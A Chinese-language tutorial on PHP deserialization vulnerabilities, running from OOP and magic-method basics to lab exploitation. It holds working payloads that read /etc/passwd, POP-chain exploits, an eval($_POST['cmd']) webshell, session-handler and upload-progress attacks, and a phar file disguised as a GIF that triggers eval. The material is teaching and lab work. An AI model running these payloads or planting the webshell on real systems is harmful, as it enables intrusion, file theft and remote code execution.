反序列化漏洞
前置——面向对象
面向对象编程(Object-Oriented Programming, OOP)是一种编程范式,通过将数据和行为封装在“对象”中来模拟现实世界的实体。它以类和对象为核心,强调模块化、可重用性和可维护性。
类 (Class)
类是面向对象编程的基础,是一种抽象的蓝图,用于定义一组具有相同属性和行为的实体。
定义:类是一个模板,描述了对象的属性(数据)和方法(行为)。
示例:
- 动物类:可以定义所有动物的共性,如“会呼吸”、“有生命”。
- 人类类:定义人类的特性,如姓名、身高、年龄等。
- 汽车类:定义汽车的特性,如颜色、品牌、速度等。
属性 (Properties)
属性是类的成员变量,用于存储对象的状态或数据。
示例:
汽车类:
- 颜色(color):如红色、蓝色。
- 能源类型(energyType):如汽油、电动。
- 速度(speed):如 100 km/h。
人类类:
- 姓名(name):如“张三”。
- 身高(height):如 175 cm。
- 年龄(age):如 30 岁。
方法 (Methods)
方法是类中定义的函数,表示对象可以执行的行为或功能。
示例:
汽车类:
- 开车(drive):启动汽车并行驶。
- 停车(park):停止汽车。
- 鸣笛(horn):发出声音。
人类类:
- 吃(eat):摄入食物。
- 喝(drink):摄入液体。
- 走路(walk):移动身体。
对象 (Object)
对象是类的实例化,是类的具体体现。通过类创建的对象具有类中定义的属性和方法。
示例:
- 身份证号为“123456789”的张三,是“人类类”的一个具体对象。
- 车牌号为“京 A12345”的红色轿车,是“汽车类”的一个具体对象。
- 某动物园中名叫“团团”的大熊猫,是“动物类”的一个具体对象。
面向对象的核心特性
封装 (Encapsulation):
- 将数据(属性)和操作数据的方法捆绑在一起,隐藏内部实现细节,只暴露必要的接口。
- 例如,在汽车类中,内部的引擎工作原理对用户是隐藏的,用户只需调用
drive()
方法即可。
继承 (Inheritance):
- 允许一个类(子类)继承另一个类(父类)的属性和方法,增强代码复用性。
- 例如,“电动车类”可以继承“汽车类”的通用属性和方法,同时添加电池容量等特有属性。
多态 (Polymorphism):
- 允许不同类的对象以统一的方式调用方法,即使实现不同。
- 例如,动物类的
makeSound()
方法在“狗”对象中可能是“汪汪”,在“猫”对象中可能是“喵喵”。
抽象 (Abstraction):
- 通过抽象类或接口,定义通用的行为规范,而无需实现具体细节。
- 例如,定义一个抽象的“交通工具类”,规定所有交通工具必须有
move()
方法。
面向对象与面向过程的对比
面向过程编程(Procedural Programming)以函数为中心,强调按步骤执行。以下是面向对象和面向过程的区别汇总:
特性 | 面向对象 (OOP) | 面向过程 (Procedural) |
---|---|---|
核心思想 | 以对象为中心,数据和行为封装在对象中 | 以函数为中心,数据和函数分离 |
代码组织 | 通过类和对象组织,强调模块化和层次结构 | 通过函数和数据结构组织,流程驱动 |
代码复用 | 通过继承和多态实现高复用性 | 通过函数调用,复用性较低 |
维护性 | 封装性强,易于维护和扩展 | 代码耦合度较高,维护复杂 |
适用场景 | 适合大型、复杂系统(如 Web 应用、游戏开发) | 适合简单、线性任务(如脚本、简单计算) |
示例语言 | PHP、Java、Python、C++ | C、Fortran、早期 PHP |
前置——PHP 魔术方法
PHP 中的魔术方法(Magic Methods)是一类以双下划线(__
)开头的方法,在特定条件下自动触发,无需手动调用。
魔术方法汇总
魔术方法 | 触发时机 | 功能描述 |
---|---|---|
__construct() | 创建对象实例时 | 初始化对象,通常用于设置初始属性值 |
__destruct() | 对象销毁或脚本结束或反序列化时 | 清理资源,如关闭文件句柄或数据库连接 |
__toString() | 对象被当作字符串使用时(如 echo $obj ) | 返回对象的字符串表示,通常用于格式化输出 |
__wakeup() | 调用 unserialize() 反序列化时 | 初始化反序列化后的对象,可能重新建立资源或验证数据 |
__sleep() | 调用 serialize() 序列化时 | 返回需要序列化的属性数组,控制序列化行为 |
__call() | 调用不存在或不可访问的方法时 | 处理动态方法调用,可用于实现方法重载 |
__callStatic() | 静态调用不存在或不可访问的方法时 | 类似 __call() ,但用于静态方法 |
__get() | 访问不存在或不可访问的属性时 | 动态获取属性值,可用于实现属性延迟加载 |
__set() | 为不存在或不可写属性赋值时 | 动态设置属性值,可用于验证或记录属性更改 |
__isset() | 对不存在或不可访问属性调用 isset() 或 empty() 时 | 判断属性是否存在或非空 |
__unset() | 对不存在或不可访问属性调用 unset() 时 | 删除动态属性 |
__invoke() | 将对象当作函数调用时(如 $obj() ) | 允许对象像函数一样被调用 |
__clone() | 调用 clone 关键字克隆对象时 | 自定义克隆行为,如深拷贝特定属性 |
__debugInfo() | 调用 var_dump() 或 print_r() 时 | 自定义对象调试信息输出,控制 var_dump 的显示内容 |
代码示例:魔术方法
<?php
class Example {
// 定义私有属性
private $data = [];
// 构造函数,初始化对象
public function __construct() {
echo "Object created\n";
}
// 析构函数,清理资源
public function __destruct() {
echo "Object destroyed\n";
}
// 当对象被当作字符串使用时触发
public function __toString() {
return "This is an Example object";
}
// 序列化时触发,返回需要序列化的属性
public function __sleep() {
echo "Serializing object\n";
return ['data']; // 仅序列化$data属性
}
// 反序列化时触发
public function __wakeup() {
echo "Unserializing object\n";
}
// 访问不存在或不可访问的属性时触发
public function __get($name) {
echo "Getting property '$name'\n";
return isset($this->data[$name]) ? $this->data[$name] : null;
}
// 设置不存在或不可写属性时触发
public function __set($name, $value) {
echo "Setting property '$name' to '$value'\n";
$this->data[$name] = $value;
}
// 调用不存在或不可访问的方法时触发
public function __call($name, $arguments) {
echo "Calling undefined method '$name' with arguments: " . implode(', ', $arguments) . "\n";
}
}
// 测试代码
$obj = new Example(); // 触发__construct
echo $obj; // 触发__toString
$obj->nonExistentProperty = 'test'; // 触发__set
echo $obj->nonExistentProperty; // 触发__get
$obj->nonExistentMethod('arg1', 'arg2'); // 触发__call
$serialized = serialize($obj); // 触发__sleep
$unserialized = unserialize($serialized); // 触发__wakeup
?>
前置——序列化与反序列化
序列化(Serialization)
序列化是将内存中的对象转换为字符串或字节序列的过程,以便于存储或传输。PHP 中使用 serialize()
函数将对象转为字符串:
原始 Payload
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:18:"file:///etc/passwd";}}}
结构分解
最外层对象 (Show)
O:4:"Show":2:{...}
O
– 对象4
– 类名长度"Show"
– 类名2
– 2 个属性
第一个属性 (source)
s:6:"source";
s:6:"source"
:属性名:
- 普通公有属性,名称就是
"source"
- 长度 6 对应
source
的 6 个字母
引用
r:1;
r:1
:属性值是对第 1 个序列化元素的引用
r
– 表示这是一个引用(reference)1
– 引用的是序列化数据中第 1 个元素(从 1 开始计数)r:1
引用的就是最外层的O:4:"Show"
对象本身- 这创建了一个自引用结构
第二个属性(str)
s:3:"str";
s:3:"str"
:公有属性名,长度 3
Test 对象
O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{...}}
O:4:"Test":1:
:类名Test
,1 个属性s:1:"p"
:公有属性名p
,长度 1- 属性值是嵌套的
Modifier
对象
Modifier 对象
O:8:"Modifier":1:{s:6:"*var";s:18:"file:///etc/passwd";}
O:8:"Modifier":1:
:类名Modifier
,1 个属性s:6:"*var"
:受保护属性:- 实际存储格式:
\0*\0var
(NULL 字节 + * + NULL 字节 + var) - 总字节数:1(NULL) + 1(*) + 1(NULL) + 3(var) = 6
- 显示时只显示可见部分
*var
,可用 BurpSuite 看到
- 实际存储格式:
s:18:"file:///etc/passwd"
:属性值- 长度 18 对应字符串
file:///etc/passwd
的 18 个字符
- 长度 18 对应字符串
属性名编码规则详解
公有属性(public):
- 格式:
s:<长度>:"属性名"
- 示例:
s:3:"str"
- 格式:
受保护属性(protected):
- 实际存储:
\0*\0属性名
(NULL+星号+NULL+属性名) - 显示为:
*属性名
- 示例:
s:6:"*var"
对应\0*\0var
(6 字节)
- 实际存储:
私有属性(private):
- 实际存储:
\0类名\0属性名
- 显示为:
类名属性名
- 示例:
s:14:"TestprivateVar"
可能对应\0Test\0privateVar
- 实际存储:
反序列化(Deserialization)
反序列化是将序列化后的字符串或字节序列还原为内存中对象的过程。PHP 中使用 unserialize()
函数完成。
<?php
// 定义一个简单的User类
class User {
public $username; // 公共属性:用户名
public $email; // 公共属性:邮箱
// 构造函数,初始化对象时自动调用
public function __construct($username, $email) {
$this->username = $username; // 设置用户名属性
$this->email = $email; // 设置邮箱属性
}
// 显示用户信息的方法
public function showInfo() {
echo "User: {$this->username}, Email: {$this->email}\n";
}
}
// 创建User对象实例
$user = new User('john_doe', 'john@example.com');
// 将对象序列化为字符串
$serialized = serialize($user);
echo "序列化字符串: " . $serialized . "\n";
// 输出:序列化字符串: O:4:"User":2:{s:8:"username";s:8:"john_doe";s:5:"email";s:16:"john@example.com";}
// 将序列化字符串反序列化为对象
$unserialized = unserialize($serialized);
// 调用反序列化后对象的方法
$unserialized->showInfo(); // 输出:User: john_doe, Email: john@example.com
?>
注意事项
- 序列化只保存对象的属性,不保存方法。
- 反序列化时,类定义必须存在,否则会抛出错误。
- 魔术方法如
__sleep
和__wakeup
会影响序列化和反序列化行为。
反序列化漏洞
反序列化漏洞(Deserialization Vulnerability)是指攻击者通过操控序列化字符串,在反序列化过程中触发恶意代码执行。PHP 中的 unserialize()
函数如果处理不受信任的输入,可能导致严重安全问题,如任意代码执行、文件操作或拒绝服务攻击。
漏洞原理
- 反序列化时,PHP 会调用
__wakeup
或__destruct
等魔术方法。 - 如果这些方法中存在不安全的逻辑(如动态调用函数或文件操作),攻击者可通过精心构造的序列化字符串触发恶意行为。
- 攻击者通常构造“属性导向编程链”(Property-Oriented Programming Chain, POP Chain)来实现攻击。
构造简单 Payload
步骤
以下是构造反序列化漏洞 Payload 的步骤:
复制目标类的源代码:
- 将目标应用的类定义复制到攻击者的代码中,确保类结构完整。
修改属性值:
- 更改类中的 public 属性值,注入恶意数据(注意:private 或 protected 属性在序列化字符串中有特殊编码)。
实例化对象:
- 创建类的实例,设置修改后的属性值。
序列化对象:
- 使用 serialize()生成序列化字符串。
传递 Payload:
- 将序列化字符串发送到目标应用的
unserialize()
入口。
- 将序列化字符串发送到目标应用的
实例
# 网站源代码
<?php
highlight_file(__FILE__);
class A{
var $test = "demo";
# 改变这个属性可以使其执行任何想要的操作
function __destruct(){
@eval($this->test);
# eval 代码执行函数可以执行命令等
}
}
$test = $_POST['test'];
# 接收用户输入
unserialize($test);
# 将用户输入序列化
?>
# 构造 payload
<?php
highlight_file(__FILE__);
class A{
var $test = "system('cat /etc/passwd');"; // 改变这个命令使其执行你想要的操作
function __destruct(){
@eval($this->test);
}
}
$obj = new A();
echo "Serialized object: ";
echo serialize($obj);
echo "|end";
?>
# 输出:Serialized object: O:1:"A":1:{s:4:"test";s:26:"system('cat /etc/passwd');";}|end
# 获取到 payload:O:1:"A":1:{s:4:"test";s:26:"system('cat /etc/passwd');";}
截图示例:
构造 POP Chain Payload
步骤
POP Chain 是一种高级攻击手法,通过链式调用多个类的魔术方法,最终触发目标功能(如执行系统命令)。构造步骤如下:
定位攻击目标:
- 确定希望执行的操作(如 system('whoami'))。
分析代码:
- 查找可触发目标功能的类和方法。
构建调用链:
- 利用魔术方法(如
__wakeup
、__toString
)和属性值,构造从反序列化入口到目标功能的调用链。
- 利用魔术方法(如
生成 Payload:
- 序列化构造好的对象链。
实例 1
# 网站源代码
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
# 1.发现该函数可能存在漏洞,目标就是调用该函数,需调用 __toString 方法
# 将此处调用的 $this->name 改为想要读取的文件,可以实现任意文件读取
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
# 2.该函数可以调用 __toString 方法,调用该函数,需调用 __destruct 方法
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
# 3.反序列化时,会触发 __destruct 方法
}
}else {
highlight_file(__FILE__);
}
?>
# 构造 payload
<?php
class MyFile {
public $name = "/etc/passwd";
# 修改属性 name 为想要读取的文件
}
$obj = new MyFile();
echo urlencode(serialize($obj));
?>
截图示例:
实例 2
<?php
highlight_file(__FILE__);
class Modifier {
protected $var;
public function append($value){
include($value);
// 1.目标函数,调用该函数,需要调用 append 方法
}
public function __invoke(){
$this->append($this->var);
// 2.魔术方法 __invoke,调用该方法时会执行 append 方法
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
// 4.若$this->str 是 Test 的对象,这里会触发 __get 方法
// 想要调用该函数,就要调用 __toString 方法
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
// 5.若$this->source 是 Show 的对象,这里就会触发 __toString 方法
// 反序列化时会自动触发 __wakeup 方法
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
// 3.将对象作为函数调用
// 如果 $this->p 是 Modifier 的对象,就会触发 __invoke 方法
// 想要触发 __invoke 方法
// 当访问 Test 对象的属性时,如果该属性不存在或不能调用时,就会触发 __get 方法
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>
# 构造 payload
<?php
// highlight_file(__FILE__);
class Modifier {
protected $var = "file:///etc/passwd";
// 目标函数,调用该函数,需要调用 append 方法
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->str = new Test();
// 将 Test 的对象赋值给 $this->str
// 因为想要触发 __toString 方法,就需要访问 Show 对象的属性
$this->source = $this; // 这里将 Show 的对象赋值给 $this->source
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
// 将 Modifier 的对象赋值给 $this->p
// 因为想要触发 __invoke 方法,就需要访问 Test 对象的属性
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$object = new Show();
echo "Serialized object: ";
echo urlencode(serialize($object));
echo "|end";
?>
截图示例:
反序列化 WebShell
反序列化 webshell 是指攻击者利用应用程序的反序列化漏洞,通过构造恶意序列化数据,在目标服务器上植入 WebShell(网页后门)的攻击技术。
步骤
注入具有反序列化漏洞的文件
<?php class A { public function __wakeup() { @eval($_POST['cmd']); } } $input = $_GET['input']; unserialize($input); ?>
利用该漏洞
- GET 参数传输序列化字符串
- POST 参数传输命令执行代码
Session 反序列化
Session 的存取方式
- 当 PHP 存储 session 数据时,会自动将数据进行序列化
- 当 PHP 读取 session 数据时,会自动进行反序列化
截图示例:
Session 的产生与保存
Session 的产生
在 PHP 中,Session 是通过 session_start()
函数启动的。当调用这个函数时,PHP 会执行以下操作:
检查是否存在 Session ID:
- 首先检查请求中是否包含有效的 Session ID(通常通过 Cookie 或 URL 参数传递)
- 如果没有找到,PHP 会生成一个新的 Session ID
创建 Session 文件:
- 在服务器上创建一个以 Session ID 命名的文件
初始化 Session 数据:
- 如果是一个新 Session,会初始化一个空的 Session 数组
- 如果是已有 Session,会从存储中加载数据到
$_SESSION
超全局变量中
Session 的保存
<?php
highlight_file(__FILE__);
session_start();
echo "SessionID: ".session_id()."<br>";
echo "Cookie: ".$_COOKIE["PHPSESSID"];
?>
该代码可以看到当前会话的 SessionID(可以通过修改 SessionID 的值来修改 session 存放的文件名,不过多赘述)。
对 Session 进行赋值
<?php
highlight_file(__FILE__);
session_start();
$_SESSION['name'] = "xiaozhang";
$_SESSION['age'] = "24";
echo "SessionID: ".session_id()."<br>";
echo "Cookie: ".$_COOKIE["PHPSESSID"];
?>
发现后台中 session 存放的文件内容为
a:2:{s:4:"name";s:9:"xiaozhang";s:3:"age";s:2:"24";}
可以发现其中的存储格式为序列化。
PHP Session 序列化处理引擎
PHP 提供了多种 session 序列化处理引擎(也称为序列化处理器),用于控制 session 数据如何被序列化和反序列化。这些引擎决定了 session 数据在存储到服务器和从服务器读取时的转换方式。
PHP 支持以下几种内置的序列化处理引擎:
php
格式:
属性名|值的类型:值的长度:值;
特点:
- 使用 PHP 的
serialize()
函数序列化单个值 - 每个 session 变量单独序列化
- 不支持直接存储多维数组或复杂对象结构
- 使用 PHP 的
示例存储格式:
username|s:5:"admin";role|s:5:"admin";
php_binary
格式:
属性名\x00值的类型:值长度:值
特点:
- 使用二进制格式存储键名长度
- 比
php
格式更节省空间 - 同样不支持多维数组直接存储
示例存储格式:
usernames:4:"lisi";
php_serialize
(PHP 5.5.4+) (默认引擎)
格式: 序列化整个
$_SESSION
数组特点:
- 使用
serialize()
处理整个 session 数组 - 支持多维数组和复杂数据结构
- 与其他引擎不兼容
- 使用
示例存储格式:
a:2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}
漏洞原理
当网站页面使用的 session 序列化处理引擎与 php 默认的序列化处理引擎不一致,导致 session 反序列化漏洞。
解释:
session_start()
是 PHP 中用于启动新会话或恢复现有会话的核心函数,看 官方文档:官方文档中说明了 PHP 会自动触发反序列化数据的情况。
php.ini
里存在的有关session
的配置项session.save_path="/tmp" #设置session文件的存储位置 session.save_handler=files #设定用户自定义存储函数 session.auto_start= 0 #指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动 session.serialize_handler= php #定义用来序列化/反序列化的处理器名字,默认使用 php session.upload_progress.enabled= on #启用上传进度跟踪,并填充 $_SESSION 变量,默认启用 session.upload_progress.cleanup= on #读取所有POST数据(即完成上传)后立即清理进度信息,默认启用
若其中页面 1 设定为
ini_set('session.serialize_handler','php_serialize');
而另一个页面 2 设定为
ini_set('session.serialize_handler','php');
两个页面的序列化方式不一样,假如设定页面的 Session 为
|O:4:"user":1:{s:4:"name";s:2:"id";}
那么系统中存储的 Session 文件内容为
a:1:{s:8:"username;s:48:"|O:4:"user":2:{s:4:"name";s:2:"id";s:3:"age";N;)";)
由于浏览器中保存的
PHPSESSID
不变,当访问另一个页面时,PHP 会反序列化设定的 Session,但是因为使用的引擎不一样,页面 2 是 php 处理引擎,该引擎以|
为分隔符,最终就会反序列化分隔符后边的内容。
利用 payload
- 普通 payload 前加上
|
即可
Session 上传进度反序列化
前提条件
PHP 配置文件 session.upload_progress.enabled=on
(该条件默认情况下满足)
官方解释:
解释:
在开启 Session 上传进度这一功能时,如果在客户端写一个文件上传的功能,文件上传的同时,POST
一个与 php.ini
中设置的 session.upload_progress.name
同名变量 PHP_SESSION_UPLOAD_PROGRESS
,即可写入 $_SESSION
,进一步序列化写入 session
文件。
利用方式
- 使用
multipart/form-data
格式提交一个参数,参数名PHP_SESSION_UPLOAD_PROGRESS
, 参数值为序列化字符串。 - 读取另一页面,触发另一种 PHP 反序列化引擎,执行命令。
如果
session.upload_progress.cleanup = on
(默认),Session 会被自动清除,无法触发 Session 反序列化漏洞,可以使用条件竞争绕过。
实例
# 文件上传
<form action="http://192.168.2.201/4-5/2.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file"/>
<input type="submit" />
</form>
截图示例:
- 文件上传:
- 执行逻辑流程:
phar 反序列化
phar
概念
PHAR(PHP Archive)是 PHP 中一种将多个文件打包成单个归档文件的格式,类似于 Java 的 JAR。它主要用于分发和部署 PHP 应用程序或库。
文件结构
一般情况下,phar 文件由四部分构成:
stub
:是一个标志,格式里面的内容不限,但必须是以__HALT_COMPILER();?>
来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。manifest
:phar 文件中被压缩的文件的一些信息,其中 Meta-data 部分的信息会以序列化的形式储存。content
:被压缩的文件内容。signature
:签名格式。
截图示例:
- 官网描述:
- Hex 查看:
原理及受影响函数
php 中有很多的的文件系统函数在通过 phar://
伪协议解析 phar 文件时,会将 meta-data 进行反序列化
函数 | 说明 |
---|---|
file_get_contents() | 读取文件内容。若 PHAR 文件有 meta-data,会触发反序列化。 |
file_put_contents() | 写入内容到文件。若路径涉及 PHAR 文件,会触发反序列化。 |
file_exists() | 检查文件是否存在,若 PHAR 文件有 meta-data,会触发反序列化。 |
file() | 读取文件的每一行,若 PHAR 文件有 meta-data,会触发反序列化。 |
fileinode() | 获取文件的 inode 编号,若 PHAR 文件有 meta-data,会触发反序列化。 |
filegroup() | 获取文件的用户组,若 PHAR 文件有 meta-data,会触发反序列化。 |
fopen() | 打开文件,若 PHAR 文件有 meta-data,会触发反序列化。 |
fileowner() | 获取文件的所有者,若 PHAR 文件有 meta-data,会触发反序列化。 |
fileperms() | 获取文件权限,若 PHAR 文件有 meta-data,会触发反序列化。 |
filetime() | 获取文件的最后修改时间,若 PHAR 文件有 meta-data,会触发反序列化。 |
filemtime() | 获取文件的最后修改时间,若 PHAR 文件有 meta-data,会触发反序列化。 |
is_dir() | 判断是否为目录,若 PHAR 文件有 meta-data,会触发反序列化。 |
is_executable() | 判断是否可执行,若 PHAR 文件有 meta-data,会触发反序列化。 |
is_file() | 判断是否为文件,若 PHAR 文件有 meta-data,会触发反序列化。 |
is_link() | 判断是否为符号链接,若 PHAR 文件有 meta-data,会触发反序列化。 |
is_readable() | 判断是否可读,若 PHAR 文件有 meta-data,会触发反序列化。 |
is_writable() | 判断是否可写,若 PHAR 文件有 meta-data,会触发反序列化。 |
is_writeable() | 判断是否可写,若 PHAR 文件有 meta-data,会触发反序列化。 |
copy() | 复制文件,若路径涉及 PHAR 文件,会触发反序列化。 |
unlink() | 删除文件,若路径涉及 PHAR 文件,会触发反序列化。 |
stat() | 获取文件状态,若 PHAR 文件有 meta-data,会触发反序列化。 |
fstat() | 获取文件状态信息,若 PHAR 文件有 meta-data,会触发反序列化。 |
lstat() | 获取符号链接的状态,若 PHAR 文件有 meta-data,会触发反序列化。 |
readfile() | 读取并输出文件,若 PHAR 文件有 meta-data,会触发反序列化。 |
require() | 引入文件,若路径涉及 PHAR 文件,会触发反序列化。 |
include() | 引入文件,若路径涉及 PHAR 文件,会触发反序列化。 |
require_once() | 引入文件,仅一次,若路径涉及 PHAR 文件,会触发反序列化。 |
include_once() | 引入文件,仅一次,若路径涉及 PHAR 文件,会触发反序列化。 |
parse_ini_file() | 解析 INI 文件,若路径涉及 PHAR 文件,会触发反序列化。 |
get_meta_tags() | 获取文件的 meta 标签,若 PHAR 文件内有此类数据时会触发反序列化。 |
get_headers() | 获取文件头部信息,若路径涉及 PHAR 文件,会触发反序列化。 |
getimagesize() | 获取图像尺寸,若 PHAR 文件为图像文件,会触发反序列化。 |
getimagesizefromstring() | 从字符串获取图像尺寸,若字符串包含 PHAR 文件,会触发反序列化。 |
imloadfont() | 加载字体,若路径涉及 PHAR 文件,会触发反序列化。 |
exif_imagetype() | 获取图像类型,若路径涉及 PHAR 文件,会触发反序列化。 |
hash_file() | 计算文件的哈希值,若路径涉及 PHAR 文件,会触发反序列化。 |
md5_file() | 计算文件的 MD5 哈希值,若路径涉及 PHAR 文件,会触发反序列化。 |
sha1_file() | 计算文件的 SHA1 哈希值,若路径涉及 PHAR 文件,会触发反序列化。 |
hash_update_file() | 更新文件的哈希值,若路径涉及 PHAR 文件,会触发反序列化。 |
hash_hmac_file() | 计算文件的 HMAC 哈希值,若路径涉及 PHAR 文件,会触发反序列化。 |
利用方式
- 生成 payload 需要将序列化对象写到 phar 文件的
meta-data
中。 - 保存 phar 文件必须预先配置
php.ini
文件,将phar.readonly = Off
。
#用于生产目标 payload phar 文件的 php 文件
<?php
class className {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
#生产 phar 文件
$phar->startBuffering();
#开始缓冲 phar 写入操作,提高性能
$phar->setStub("<?php __HALT_COMPILER(); ?>");
#设置 stub
$a = new className();
$phar->setMetadata($a);
#将定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test");
#向 phar 中添加一个名为 "test.txt" 的文件,内容为 "test"
$phar->stopBuffering();
#停止缓冲并保存 phar 文件,并自动计算并添加签名
?>
实例
在靶场中,存在几个页面:
upload_file.html
是一个可以上传文件的页面,upload_file.php
是一个过滤上传文件的文件,file_un.php
页面存在一个漏洞点,其中使用的函数 file_exists
可以支持 phar://
伪协议。
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt','test');
$object = new AnyClass();
$object->output = "phpinfo();";
$phar->setMetadata($object);
$phar->stopBuffering();
?>
可以生产相应的 phar 文件,将生成的文件修改为 gif 文件上传
在存在漏洞的地方使用 phar://
协议读取上传的文件
截图实例: